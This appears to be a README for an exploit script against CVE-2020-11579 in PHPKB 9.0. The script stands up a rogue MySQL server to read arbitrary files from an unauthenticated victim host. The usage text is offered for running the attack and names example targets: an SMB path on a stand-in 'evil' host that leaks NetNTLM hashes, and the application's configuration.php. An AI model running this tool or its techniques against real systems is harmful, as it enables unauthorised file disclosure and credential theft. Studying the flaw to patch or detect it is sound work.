# CVE-2020-11579
## Introduction
[PHPKB 9.0 Enterprise Edition (MySQL database)](https://www.knowledgebase-script.com/) is affected by an unauthenticated arbitrary file disclosure via a malicious MySQL Server.
A remote attacker can read any file on a remote victim host with web-server privileges (e.g. `www-data`), via a single HTTP GET request.

## Note
The script can also be run in `server-only mode` and it provides a standalone MySQL Server to use for similar vulnerabilities.
## Usage
```
usage: CVE-2020-11579.py [-h] [-rh RHOST] -lh LHOST [-lp LPORT] [-f FILE]
[-c {mysql_cli,mysqlnd}] [-s] [-d] [-o OUTPUT_FILE]
optional arguments:
-h, --help show this help message and exit
-rh RHOST, --rhost RHOST
remote PHPKB webroot, e.g.:
http://10.10.10.11:8080/phpkbv9
-lh LHOST, --lhost LHOST
local host ip/hostname to expose the rogue mysql
server at
-lp LPORT, --lport LPORT
local port to expose the rogue mysql server at
-f FILE, --file FILE remote file to exfiltrate, e.g.
`\\evil.smb.server.ip\netntlm\leak.jpg` or PHPKB's `../../admin/include/configuration.php`
-c {mysql_cli,mysqlnd}, --configuration {mysql_cli,mysqlnd}
-s, --server-only start rogue mysql server and wait
-d, --debug enable debug mode
-o OUTPUT_FILE, --output-file OUTPUT_FILE
save exfiltrated file to path
```
